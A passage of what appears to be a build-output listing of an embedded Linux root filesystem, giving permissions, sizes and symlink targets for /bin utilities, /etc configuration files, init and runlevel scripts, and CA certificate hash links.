+-rwxr-xr-x root root 75984 ./bin/ln.coreutils
+lrwxrwxrwx root root 17 ./bin/login -> /bin/login.shadow
+-rwxr-xr-x root root 73120 ./bin/login.shadow
+lrwxrwxrwx root root 17 ./bin/ls -> /bin/ls.coreutils
+-rwxr-xr-x root root 162448 ./bin/ls.coreutils
+lrwxrwxrwx root root 15 ./bin/lsmod -> /bin/lsmod.kmod
+lrwxrwxrwx root root 4 ./bin/lsmod.kmod -> kmod
+lrwxrwxrwx root root 20 ./bin/mkdir -> /bin/mkdir.coreutils
+-rwxr-xr-x root root 67752 ./bin/mkdir.coreutils
+lrwxrwxrwx root root 20 ./bin/mknod -> /bin/mknod.coreutils
+-rwxr-xr-x root root 47272 ./bin/mknod.coreutils
+lrwxrwxrwx root root 25 ./bin/mktemp -> /usr/bin/mktemp.coreutils
+lrwxrwxrwx root root 20 ./bin/more -> /bin/more.util-linux
+-rwxr-xr-x root root 42976 ./bin/more.util-linux
+lrwxrwxrwx root root 21 ./bin/mount -> /bin/mount.util-linux
+lrwxrwxrwx root root 26 ./bin/mountpoint -> /bin/mountpoint.util-linux
+-rwxr-xr-x root root 14304 ./bin/mountpoint.sysvinit
+-rwxr-xr-x root root 18480 ./bin/mountpoint.util-linux
+-rwsr-xr-x root root 55344 ./bin/mount.util-linux
+lrwxrwxrwx root root 17 ./bin/mv -> /bin/mv.coreutils
+-rwxr-xr-x root root 145616 ./bin/mv.coreutils
+lrwxrwxrwx root root 19 ./bin/netstat -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./bin/nice -> /usr/bin/nice.coreutils
+lrwxrwxrwx root root 19 ./bin/pidof -> /bin/pidof.sysvinit
+-rwxr-xr-x root root 22568 ./bin/pidof.procps
+lrwxrwxrwx root root 14 ./bin/pidof.sysvinit -> /sbin/killall5
+lrwxrwxrwx root root 17 ./bin/ping6 -> /bin/busybox.suid
+lrwxrwxrwx root root 17 ./bin/ping -> /bin/busybox.suid
+lrwxrwxrwx root root 27 ./bin/printenv -> /usr/bin/printenv.coreutils
+lrwxrwxrwx root root 14 ./bin/ps -> /bin/ps.procps
+-rwxr-xr-x root root 137496 ./bin/ps.procps
+lrwxrwxrwx root root 18 ./bin/pwd -> /bin/pwd.coreutils
+-rwxr-xr-x root root 47272 ./bin/pwd.coreutils
+lrwxrwxrwx root root 17 ./bin/rm -> /bin/rm.coreutils
+-rwxr-xr-x root root 75976 ./bin/rm.coreutils
+lrwxrwxrwx root root 20 ./bin/rmdir -> /bin/rmdir.coreutils
+-rwxr-xr-x root root 55464 ./bin/rmdir.coreutils
+lrwxrwxrwx root root 19 ./bin/run-parts -> /bin/busybox.nosuid
+lrwxrwxrwx root root 12 ./bin/sed -> /bin/sed.sed
+-rwxr-xr-x root root 190896 ./bin/sed.sed
+lrwxrwxrwx root root 14 ./bin/sh -> /bin/bash.bash
+lrwxrwxrwx root root 20 ./bin/sleep -> /bin/sleep.coreutils
+-rwxr-xr-x root root 43176 ./bin/sleep.coreutils
+-rwxr-xr-x root root 1736 ./bin/start_getty
+lrwxrwxrwx root root 19 ./bin/stat -> /bin/stat.coreutils
+-rwxr-xr-x root root 96456 ./bin/stat.coreutils
+lrwxrwxrwx root root 19 ./bin/stty -> /bin/stty.coreutils
+-rwxr-xr-x root root 92360 ./bin/stty.coreutils
+lrwxrwxrwx root root 14 ./bin/su -> /bin/su.shadow
+-rwsr-xr-x root root 60992 ./bin/su.shadow
+lrwxrwxrwx root root 19 ./bin/sync -> /bin/sync.coreutils
+-rwxr-xr-x root root 43176 ./bin/sync.coreutils
+lrwxrwxrwx root root 19 ./bin/tar -> /bin/busybox.nosuid
+lrwxrwxrwx root root 20 ./bin/touch -> /bin/touch.coreutils
+-rwxr-xr-x root root 108744 ./bin/touch.coreutils
+lrwxrwxrwx root root 19 ./bin/true -> /bin/true.coreutils
+-rwxr-xr-x root root 39064 ./bin/true.coreutils
+lrwxrwxrwx root root 22 ./bin/umount -> /bin/umount.util-linux
+-rwsr-xr-x root root 34864 ./bin/umount.util-linux
+lrwxrwxrwx root root 20 ./bin/uname -> /bin/uname.coreutils
+-rwxr-xr-x root root 43208 ./bin/uname.coreutils
+lrwxrwxrwx root root 19 ./bin/usleep -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/vi -> /bin/busybox.nosuid
+lrwxrwxrwx root root 17 ./bin/watch -> /bin/watch.procps
+-rwxr-xr-x root root 27016 ./bin/watch.procps
+lrwxrwxrwx root root 19 ./bin/zcat -> /bin/busybox.nosuid
+drwxr-xr-x root root 4096 ./boot
+drwxr-xr-x root root 4096 ./dev
+drwxr-xr-x root root 4096 ./etc
+-rw-r--r-- root root 45 ./etc/bash_completion
+drwxr-xr-x root root 4096 ./etc/bash_completion.d
+-rw-r--r-- root root 447 ./etc/bindresvport.blacklist
+-rw-r--r-- root root 521 ./etc/build
+-rw-r--r-- root root 2370 ./etc/busybox.links.nosuid
+-rw-r--r-- root root 91 ./etc/busybox.links.suid
+drwxr-xr-x root root 4096 ./etc/ca-certificates
+-rw-r--r-- root root 5340 ./etc/ca-certificates.conf
+drwxr-xr-x root root 4096 ./etc/ca-certificates/update.d
+drwxr-xr-x root root 4096 ./etc/dbus-1
+-rw-r--r-- root root 838 ./etc/dbus-1/session.conf
+-rw-r--r-- root root 833 ./etc/dbus-1/system.conf
+drwxr-xr-x root root 4096 ./etc/default
+-rwxr-xr-x root root 93 ./etc/default/devpts
+-rw-r--r-- root root 36 ./etc/default/mountall
+-rw-r--r-- root root 52 ./etc/default/postinst
+-rw-r--r-- root root 1040 ./etc/default/rcS
+-rw-r--r-- root root 117 ./etc/default/useradd
+drwxr-xr-x root root 4096 ./etc/default/volatiles
+-rw-r--r-- root root 1637 ./etc/default/volatiles/00_core
+-rw-r--r-- root root 36 ./etc/default/volatiles/01_bootlogd
+-rw-r--r-- root root 48 ./etc/default/volatiles/99_dbus
+drwxr-xr-x root root 4096 ./etc/depmod.d
+-rw-r--r-- root root 685 ./etc/e2scrub.conf
+drwxr-xr-x root root 4096 ./etc/fonts
+drwxr-xr-x root root 4096 ./etc/fonts/conf.d
+lrwxrwxrwx root root 63 ./etc/fonts/conf.d/10-hinting-slight.conf -> ../../../usr/share/fontconfig/conf.avail/10-hinting-slight.conf
+lrwxrwxrwx root root 67 ./etc/fonts/conf.d/10-scale-bitmap-fonts.conf -> ../../../usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf
+lrwxrwxrwx root root 66 ./etc/fonts/conf.d/20-unhint-small-vera.conf -> ../../../usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf
+lrwxrwxrwx root root 63 ./etc/fonts/conf.d/30-metric-aliases.conf -> ../../../usr/share/fontconfig/conf.avail/30-metric-aliases.conf
+lrwxrwxrwx root root 57 ./etc/fonts/conf.d/40-nonlatin.conf -> ../../../usr/share/fontconfig/conf.avail/40-nonlatin.conf
+lrwxrwxrwx root root 56 ./etc/fonts/conf.d/45-generic.conf -> ../../../usr/share/fontconfig/conf.avail/45-generic.conf
+lrwxrwxrwx root root 54 ./etc/fonts/conf.d/45-latin.conf -> ../../../usr/share/fontconfig/conf.avail/45-latin.conf
+lrwxrwxrwx root root 58 ./etc/fonts/conf.d/49-sansserif.conf -> ../../../usr/share/fontconfig/conf.avail/49-sansserif.conf
+lrwxrwxrwx root root 53 ./etc/fonts/conf.d/50-user.conf -> ../../../usr/share/fontconfig/conf.avail/50-user.conf
+lrwxrwxrwx root root 54 ./etc/fonts/conf.d/51-local.conf -> ../../../usr/share/fontconfig/conf.avail/51-local.conf
+lrwxrwxrwx root root 56 ./etc/fonts/conf.d/60-generic.conf -> ../../../usr/share/fontconfig/conf.avail/60-generic.conf
+lrwxrwxrwx root root 54 ./etc/fonts/conf.d/60-latin.conf -> ../../../usr/share/fontconfig/conf.avail/60-latin.conf
+lrwxrwxrwx root root 62 ./etc/fonts/conf.d/65-fonts-persian.conf -> ../../../usr/share/fontconfig/conf.avail/65-fonts-persian.conf
+lrwxrwxrwx root root 57 ./etc/fonts/conf.d/65-nonlatin.conf -> ../../../usr/share/fontconfig/conf.avail/65-nonlatin.conf
+lrwxrwxrwx root root 56 ./etc/fonts/conf.d/69-unifont.conf -> ../../../usr/share/fontconfig/conf.avail/69-unifont.conf
+lrwxrwxrwx root root 58 ./etc/fonts/conf.d/80-delicious.conf -> ../../../usr/share/fontconfig/conf.avail/80-delicious.conf
+lrwxrwxrwx root root 58 ./etc/fonts/conf.d/90-synthetic.conf -> ../../../usr/share/fontconfig/conf.avail/90-synthetic.conf
+-rw-r--r-- root root 978 ./etc/fonts/conf.d/README
+-rw-r--r-- root root 2532 ./etc/fonts/fonts.conf
+-rw-r--r-- root root 650 ./etc/fstab
+-rw-r--r-- root root 501 ./etc/group
+-r-------- root root 420 ./etc/gshadow
+-rw-r--r-- root root 26 ./etc/host.conf
+-rw-r--r-- root root 11 ./etc/hostname
+-rw-r--r-- root root 258 ./etc/hosts
+drwxr-xr-x root root 4096 ./etc/init.d
+-rwxr-xr-x root root 492 ./etc/init.d/banner.sh
+-rwxr-xr-x root root 1997 ./etc/init.d/bootlogd
+-rwxr-xr-x root root 2017 ./etc/init.d/bootmisc.sh
+-rwxr-xr-x root root 3591 ./etc/init.d/checkroot.sh
+-rwxr-xr-x root root 2893 ./etc/init.d/dbus-1
+-rwxr-xr-x root root 526 ./etc/init.d/devpts.sh
+-rwxr-xr-x root root 352 ./etc/init.d/dmesg.sh
+-rw-r--r-- root root 2141 ./etc/init.d/functions
+-rwxr-xr-x root root 510 ./etc/init.d/halt
+-rwxr-xr-x root root 580 ./etc/init.d/hostname.sh
+-rwxr-xr-x root root 2541 ./etc/init.d/hwclock.sh
+-rwxr-xr-x root root 1773 ./etc/init.d/mdmonitor
+-rwxr-xr-x root root 1223 ./etc/init.d/modutils.sh
+-rwxr-xr-x root root 869 ./etc/init.d/mountall.sh
+-rwxr-xr-x root root 1589 ./etc/init.d/mountnfs.sh
+-rwxr-xr-x root root 1956 ./etc/init.d/networking
+-rwxr-xr-x root root 7823 ./etc/init.d/populate-volatile.sh
+-rwxr-xr-x root root 4457 ./etc/init.d/rc
+-rwxr-xr-x root root 525 ./etc/init.d/rcS
+-rwxr-xr-x root root 1273 ./etc/init.d/read-only-rootfs-hook.sh
+-rwxr-xr-x root root 289 ./etc/init.d/reboot
+-rwxr-xr-x root root 585 ./etc/init.d/rmnologin.sh
+-rwxr-xr-x root root 25 ./etc/init.d/run-postinsts
+-rwxr-xr-x root root 429 ./etc/init.d/save-rtc.sh
+-rwxr-xr-x root root 438 ./etc/init.d/sendsigs
+-rwxr-xr-x root root 578 ./etc/init.d/single
+lrwxrwxrwx root root 8 ./etc/init.d/stop-bootlogd -> bootlogd
+-rwxr-xr-x root root 1046 ./etc/init.d/sysfs.sh
+-rwxr-xr-x root root 2066 ./etc/init.d/syslog
+-rwxr-xr-x root root 2779 ./etc/init.d/udev
+-rwxr-xr-x root root 540 ./etc/init.d/umountfs
+-rwxr-xr-x root root 711 ./etc/init.d/umountnfs.sh
+-rwxr-xr-x root root 1473 ./etc/init.d/urandom
+-rw-r--r-- root root 1140 ./etc/inittab
+-rw-r--r-- root root 1633 ./etc/inputrc
+drwxr-xr-x root root 4096 ./etc/iproute2
+-rw-r--r-- root root 85 ./etc/iproute2/bpf_pinning
+-rw-r--r-- root root 81 ./etc/iproute2/ematch_map
+-rw-r--r-- root root 31 ./etc/iproute2/group
+-rw-r--r-- root root 262 ./etc/iproute2/nl_protos
+-rw-r--r-- root root 331 ./etc/iproute2/rt_dsfield
+-rw-r--r-- root root 201 ./etc/iproute2/rt_protos
+-rw-r--r-- root root 112 ./etc/iproute2/rt_realms
+-rw-r--r-- root root 92 ./etc/iproute2/rt_scopes
+-rw-r--r-- root root 87 ./etc/iproute2/rt_tables
+drwxr-xr-x root root 4096 ./etc/iptables
+-rw-r--r-- root root 0 ./etc/iptables/ip6tables.rules
+-rw-r--r-- root root 0 ./etc/iptables/iptables.rules
+-rw-r--r-- root root 58 ./etc/issue
+-rw-r--r-- root root 55 ./etc/issue.net
+-rw-r--r-- root root 18635 ./etc/ld.so.cache
+-rw-r--r-- root root 33 ./etc/ld.so.conf
+-rw-r--r-- root root 827 ./etc/limits
+-rw-r--r-- root root 2006 ./etc/login.access
+-rw-r--r-- root root 12001 ./etc/login.defs
+-rw-r--r-- root root 121 ./etc/logrotate-dmesg.conf
+-rw-r--r-- root root 2687 ./etc/mdadm.conf
+-rw-r--r-- root root 812 ./etc/mke2fs.conf
+drwxr-xr-x root root 4096 ./etc/modprobe.d
+-rw-r--r-- root root 0 ./etc/motd
+lrwxrwxrwx root root 12 ./etc/mtab -> /proc/mounts
+-rw-r--r-- root root 767 ./etc/netconfig
+drwxr-xr-x root root 4096 ./etc/network
+drwxr-xr-x root root 4096 ./etc/network/if-down.d
+drwxr-xr-x root root 4096 ./etc/network/if-post-down.d
+drwxr-xr-x root root 4096 ./etc/network/if-pre-up.d
+-rwxr-xr-x root root 809 ./etc/network/if-pre-up.d/nfsroot
+drwxr-xr-x root root 4096 ./etc/network/if-up.d
+-rw-r--r-- root root 132 ./etc/network/interfaces
+-rw-r--r-- root root 0 ./etc/network/nm-disabled-eth0
+-rw-r--r-- root root 465 ./etc/nsswitch.conf
+-rw-r--r-- root root 767 ./etc/passwd
+-rw-r--r-- root root 984 ./etc/profile
+drwxr-xr-x root root 4096 ./etc/profile.d
+-rw-r--r-- root root 729 ./etc/profile.d/bash_completion.sh
+-rw-r--r-- root root 1107 ./etc/profile.d/gawk.csh
+-rw-r--r-- root root 757 ./etc/profile.d/gawk.sh
+-rw-r--r-- root root 2932 ./etc/protocols
+drwxr-xr-x root root 4096 ./etc/rc0.d
+lrwxrwxrwx root root 16 ./etc/rc0.d/K20dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 20 ./etc/rc0.d/K20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc0.d/K20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 20 ./etc/rc0.d/K80networking -> ../init.d/networking
+lrwxrwxrwx root root 18 ./etc/rc0.d/S20sendsigs -> ../init.d/sendsigs
+lrwxrwxrwx root root 21 ./etc/rc0.d/S25save-rtc.sh -> ../init.d/save-rtc.sh
+lrwxrwxrwx root root 22 ./etc/rc0.d/S31umountnfs.sh -> ../init.d/umountnfs.sh
+lrwxrwxrwx root root 17 ./etc/rc0.d/S38urandom -> ../init.d/urandom
+lrwxrwxrwx root root 18 ./etc/rc0.d/S40umountfs -> ../init.d/umountfs
+lrwxrwxrwx root root 14 ./etc/rc0.d/S90halt -> ../init.d/halt
+drwxr-xr-x root root 4096 ./etc/rc1.d
+lrwxrwxrwx root root 16 ./etc/rc1.d/K20dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 20 ./etc/rc1.d/K20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc1.d/K20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 20 ./etc/rc1.d/K80networking -> ../init.d/networking
+lrwxrwxrwx root root 22 ./etc/rc1.d/S31umountnfs.sh -> ../init.d/umountnfs.sh
+drwxr-xr-x root root 4096 ./etc/rc2.d
+lrwxrwxrwx root root 20 ./etc/rc2.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 16 ./etc/rc2.d/S02dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 21 ./etc/rc2.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc2.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc2.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc2.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc2.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc3.d
+lrwxrwxrwx root root 20 ./etc/rc3.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 16 ./etc/rc3.d/S02dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 21 ./etc/rc3.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc3.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc3.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc3.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc3.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc4.d
+lrwxrwxrwx root root 20 ./etc/rc4.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 21 ./etc/rc4.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc4.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc4.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc4.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc4.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc5.d
+lrwxrwxrwx root root 20 ./etc/rc5.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 16 ./etc/rc5.d/S02dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 21 ./etc/rc5.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc5.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc5.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc5.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc5.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc6.d
+lrwxrwxrwx root root 16 ./etc/rc6.d/K20dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 20 ./etc/rc6.d/K20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc6.d/K20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 20 ./etc/rc6.d/K80networking -> ../init.d/networking
+lrwxrwxrwx root root 18 ./etc/rc6.d/S20sendsigs -> ../init.d/sendsigs
+lrwxrwxrwx root root 21 ./etc/rc6.d/S25save-rtc.sh -> ../init.d/save-rtc.sh
+lrwxrwxrwx root root 22 ./etc/rc6.d/S31umountnfs.sh -> ../init.d/umountnfs.sh
+lrwxrwxrwx root root 17 ./etc/rc6.d/S38urandom -> ../init.d/urandom
+lrwxrwxrwx root root 18 ./etc/rc6.d/S40umountfs -> ../init.d/umountfs
+lrwxrwxrwx root root 16 ./etc/rc6.d/S90reboot -> ../init.d/reboot
+drwxr-xr-x root root 4096 ./etc/rcS.d
+lrwxrwxrwx root root 19 ./etc/rcS.d/S02banner.sh -> ../init.d/banner.sh
+lrwxrwxrwx root root 18 ./etc/rcS.d/S02sysfs.sh -> ../init.d/sysfs.sh
+lrwxrwxrwx root root 21 ./etc/rcS.d/S03mountall.sh -> ../init.d/mountall.sh
+lrwxrwxrwx root root 14 ./etc/rcS.d/S04udev -> ../init.d/udev
+lrwxrwxrwx root root 21 ./etc/rcS.d/S05modutils.sh -> ../init.d/modutils.sh
+lrwxrwxrwx root root 22 ./etc/rcS.d/S06checkroot.sh -> ../init.d/checkroot.sh
+lrwxrwxrwx root root 19 ./etc/rcS.d/S06devpts.sh -> ../init.d/devpts.sh
+lrwxrwxrwx root root 18 ./etc/rcS.d/S07bootlogd -> ../init.d/bootlogd
+lrwxrwxrwx root root 34 ./etc/rcS.d/S29read-only-rootfs-hook.sh -> ../init.d/read-only-rootfs-hook.sh
+lrwxrwxrwx root root 21 ./etc/rcS.d/S36bootmisc.sh -> ../init.d/bootmisc.sh
+lrwxrwxrwx root root 30 ./etc/rcS.d/S37populate-volatile.sh -> ../init.d/populate-volatile.sh
+lrwxrwxrwx root root 18 ./etc/rcS.d/S38dmesg.sh -> ../init.d/dmesg.sh
+lrwxrwxrwx root root 17 ./etc/rcS.d/S38urandom -> ../init.d/urandom
+lrwxrwxrwx root root 21 ./etc/rcS.d/S39hostname.sh -> ../init.d/hostname.sh
+-rw-r--r-- root root 887 ./etc/rpc
+-r-------- root root 1848 ./etc/securetty
+-rw-r--r-- root root 14464 ./etc/services
+-r-------- root root 404 ./etc/shadow
+-rw-r--r-- root root 52 ./etc/shells
+drwxr-xr-x root root 4096 ./etc/skel
+-rwxr-xr-x root root 410 ./etc/skel/.bashrc
+-rwxr-xr-x root root 241 ./etc/skel/.profile
+drwxr-xr-x root root 4096 ./etc/ssl
+drwxr-xr-x root root 16384 ./etc/ssl/certs
+lrwxrwxrwx root root 45 ./etc/ssl/certs/02265526.0 -> Entrust_Root_Certification_Authority_-_G2.pem
+lrwxrwxrwx root root 36 ./etc/ssl/certs/03179a64.0 -> Staat_der_Nederlanden_EV_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/062cdee6.0 -> GlobalSign_Root_CA_-_R3.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/064e0aa9.0 -> QuoVadis_Root_CA_2_G3.pem
+lrwxrwxrwx root root 50 ./etc/ssl/certs/06dc52d5.0 -> SSL.com_EV_Root_Certification_Authority_RSA_R2.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/080911ac.0 -> QuoVadis_Root_CA.pem
+lrwxrwxrwx root root 54 ./etc/ssl/certs/09789157.0 -> Starfield_Services_Root_Certificate_Authority_-_G2.pem
+lrwxrwxrwx root root 16 ./etc/ssl/certs/0b1b94ef.0 -> CFCA_EV_ROOT.pem
+lrwxrwxrwx root root 44 ./etc/ssl/certs/0bf05006.0 -> SSL.com_Root_Certification_Authority_ECC.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/0c4c9b6c.0 -> Global_Chambersign_Root_-_2008.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/0f6fa695.0 -> GDCA_TrustAUTH_R5_ROOT.pem
+lrwxrwxrwx root root 46 ./etc/ssl/certs/106f3e4d.0 -> Entrust_Root_Certification_Authority_-_EC1.pem
+lrwxrwxrwx root root 49 ./etc/ssl/certs/116bf586.0 -> GeoTrust_Primary_Certification_Authority_-_G2.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/128805a3.0 -> EE_Certification_Centre_Root_CA.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/157753a5.0 -> AddTrust_External_Root.pem
+lrwxrwxrwx root root 59 ./etc/ssl/certs/1636090b.0 -> Hellenic_Academic_and_Research_Institutions_RootCA_2011.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/18856ac4.0 -> SecureSign_RootCA11.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/1d3472b9.0 -> GlobalSign_ECC_Root_CA_-_R5.pem
+lrwxrwxrwx root root 37 ./etc/ssl/certs/1e08bfd1.0 -> IdenTrust_Public_Sector_Root_CA_1.pem
+lrwxrwxrwx root root 32 ./etc/ssl/certs/1e09d511.0 -> T-TeleSec_GlobalRoot_Class_2.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/244b5494.0 -> DigiCert_High_Assurance_EV_Root_CA.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/2ae6433e.0 -> CA_Disig_Root_R2.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/2b349938.0 -> AffirmTrust_Commercial.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/2c543cd1.0 -> GeoTrust_Global_CA.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/2e4eed3c.0 -> thawte_Primary_Root_CA.pem
+lrwxrwxrwx root root 18 ./etc/ssl/certs/2e5ac55d.0 -> DST_Root_CA_X3.pem
+lrwxrwxrwx root root 59 ./etc/ssl/certs/32888f65.0 -> Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem
+lrwxrwxrwx root root 10 ./etc/ssl/certs/349f2832.0 -> EC-ACC.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/3513523f.0 -> DigiCert_Global_Root_CA.pem
+lrwxrwxrwx root root 61 ./etc/ssl/certs/3bde41ac.0 -> Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/3e44d2f7.0 -> TrustCor_RootCert_CA-2.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/3e45d192.0 -> Hongkong_Post_Root_CA_1.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/40193066.0 -> Certum_Trusted_Network_CA_2.pem
+lrwxrwxrwx root root 16 ./etc/ssl/certs/4042bcee.0 -> ISRG_Root_X1.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/40547a79.0 -> COMODO_Certification_Authority.pem
+lrwxrwxrwx root root 43 ./etc/ssl/certs/4304c5e5.0 -> Network_Solutions_Certificate_Authority.pem
+lrwxrwxrwx root root 44 ./etc/ssl/certs/480720ec.0 -> GeoTrust_Primary_Certification_Authority.pem
+lrwxrwxrwx root root 29 ./etc/ssl/certs/48bec511.0 -> Certum_Trusted_Network_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/4a6481c9.0 -> GlobalSign_Root_CA_-_R2.pem
+lrwxrwxrwx root root 45 ./etc/ssl/certs/4bfab552.0 -> Starfield_Root_Certificate_Authority_-_G2.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/4f316efb.0 -> SwissSign_Gold_CA_-_G2.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/5273a94c.0 -> E-Tugra_Certification_Authority.pem
+lrwxrwxrwx root root 32 ./etc/ssl/certs/5443e9e3.0 -> T-TeleSec_GlobalRoot_Class_3.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/54657681.0 -> Buypass_Class_2_Root_CA.pem
+lrwxrwxrwx root root 28 ./etc/ssl/certs/57bcb2da.0 -> SwissSign_Silver_CA_-_G2.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/5a4d6896.0 -> Staat_der_Nederlanden_Root_CA_-_G3.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/5ad8a5d6.0 -> GlobalSign_Root_CA.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/5c44d531.0 -> Staat_der_Nederlanden_Root_CA_-_G2.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/5cd81ad7.0 -> TeliaSonera_Root_CA_v1.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/5d3033c5.0 -> TrustCor_RootCert_CA-1.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/5f15c80c.0 -> TWCA_Global_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/607986c7.0 -> DigiCert_Global_Root_G2.pem
+lrwxrwxrwx root root 15 ./etc/ssl/certs/6410666e.0 -> Taiwan_GRCA.pem
+lrwxrwxrwx root root 29 ./etc/ssl/certs/653b494a.0 -> Baltimore_CyberTrust_Root.pem
+lrwxrwxrwx root root 40 ./etc/ssl/certs/6b99d060.0 -> Entrust_Root_Certification_Authority.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/6d41d539.0 -> Amazon_Root_CA_2.pem
+lrwxrwxrwx root root 44 ./etc/ssl/certs/6fa5da56.0 -> SSL.com_Root_Certification_Authority_RSA.pem
+lrwxrwxrwx root root 24 ./etc/ssl/certs/706f604c.0 -> XRamp_Global_CA_Root.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/749e9e03.0 -> QuoVadis_Root_CA_1_G3.pem
+lrwxrwxrwx root root 28 ./etc/ssl/certs/75d1b2ed.0 -> DigiCert_Trusted_Root_G4.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/76cb8f92.0 -> Cybertrust_Global_Root.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/76faf6c0.0 -> QuoVadis_Root_CA_3.pem
+lrwxrwxrwx root root 63 ./etc/ssl/certs/7719f463.0 -> Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/773e07ad.0 -> OISTE_WISeKey_Global_Root_GC_CA.pem
+lrwxrwxrwx root root 18 ./etc/ssl/certs/7aaf71c0.0 -> TrustCor_ECA-1.pem
+lrwxrwxrwx root root 64 ./etc/ssl/certs/7d0b38bd.0 -> VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/7f3d5d1d.0 -> DigiCert_Assured_ID_Root_G3.pem
+lrwxrwxrwx root root 30 ./etc/ssl/certs/812e17de.0 -> Deutsche_Telekom_Root_CA_2.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/8160b96c.0 -> Microsec_e-Szigno_Root_CA_2009.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/8867006a.0 -> GeoTrust_Universal_CA_2.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/8cb5ee0f.0 -> Amazon_Root_CA_3.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/8d86cdd1.0 -> certSIGN_ROOT_CA.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/930ac5d2.0 -> Actalis_Authentication_Root_CA.pem
